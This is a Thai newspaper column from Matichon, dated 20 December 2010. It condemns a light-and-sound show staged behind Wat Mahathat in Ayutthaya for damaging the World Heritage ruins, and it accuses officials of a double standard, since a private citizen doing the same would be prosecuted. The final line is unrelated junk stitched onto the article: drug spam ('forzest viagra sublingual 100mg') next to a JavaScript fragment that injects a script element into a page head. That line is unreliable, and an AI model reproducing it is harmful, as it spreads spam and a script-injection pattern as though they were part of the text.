มติชนรายวัน ฉบับประจำวันจันทร์ที่  20  ธันวาคม  2553

งานยอยศยิ่งฟ้า อยุธยามรดกโลก ที่อุทยานประวัติศาสตร์ อยุธยา ระหว่าง 10-19 ธันวาคม 2553 เป็นงานการตลาดออกร้านขายของประจำปี แสวงหากำไรเฉพาะหน้า

แต่มีของแถมเป็นการแสดงจินตภาพประกอบแสง สี เสียง เรื่องยอยศกษัตรา ยศยิ่งฟ้าก้องปฐพี อยู่บริเวณที่ว่างลานโล่งหลังวัดมหาธาตุ อยุธยา

พระมหาธาตุวัดมหาธาตุ เป็นพระมหาธาตุองค์หนึ่ง(ใน 5 องค์)ที่เป็นหลักของกรุงศรีอยุธยา มีโคลงกำสรวลสมุทร (กำสรวลศรีปราชญ์) พรรณนาว่า

๏ พรายพรายพระธาตุเจ้า      เจียรจันทร์  แจ่มแฮ

ไตรโลกย์เลงคือโคม             ค่ำเช้า

พิหารระเบียงบรร                รุจิเรข  เรืองแฮ

ทุกแห่งห้องพระเจ้า              นั่งเนือง

ยุคอยุธยาไม่มีหลักเมือง เพราะพระมหาธาตุที่วัดมหาธาตุคือหลักของเมือง (หลักเมืองที่เป็นหัวเสาอย่างทุกวันนี้เพิ่งเริ่มมีสมัยรัชกาลที่ 4)

การแสดงมีขึ้นบริเวณที่ว่างลานโล่งหลังวัดมหาธาตุ แต่คาบเกี่ยวคร่อมเขตโบราณสถานด้านหลังวัด (ดูภาพชุดที่พิมพ์ประกอบ) เหมือนคราวกองถ่ายหนังฝรั่งมาทำอุจาดไว้เมื่อหลายปีแล้ว

แสง สี เสียง จะสวยงามตามต้องการได้ก็ต้องจัดตั้งอุปกรณ์ตลอดจนสายไฟระโยงระยางวางพาดไปที่ต่างๆ ล้วนกระทบกระแทกแดกดันอิฐ หิน โบราณสถานทั้งนั้น

ถ้าเอกชนคนบ้านๆทำอย่างนี้ ต้องถูกดำเนินคดีติดคุกติดตะรางข้อหาทำลายโบราณสถาน แต่ราชการทำเองไม่เป็นไร

นี่ไงสองมาตรฐาน หรือแท้จริงไม่มีมาตรฐานอะไรเลย

ฝูงอำมาตย์ขุนนางทำอะไรไม่ผิด มุ่งผลกำไรเฉพาะหน้า แต่เบียดเบียนโบราณสถานก็ไม่ผิด

แต่ฝูงไพร่ทำอย่างเดียวกันเป็นผิดหมด

ความเหลื่อมล้ำมีอย่างนี้แหละ แล้วจะมาเรียกร้องให้ ยอยศมรดกโลก ให้ยิ่งฟ้าได้ไฉน? ปรองดองอะไร?

อุปกรณ์การแสดงเบียดเบียนกระทบกระแทกแดกดันซาก “มรดกโลก” หลังวัดมหาธาตุ อันเป็นหลักของกรุงศรีอยุธยา น่าอเนจอนาถสังคมไทยที่ยกตนว่ายกย่องเทิดทูนหวงแหนสมบัติวัฒนธรรม

ได้ยินแล้วจะอ้วก!

forzest viagra sublingual 100mg }d.getElementsByTagName(‘head’)[0].appendChild(s);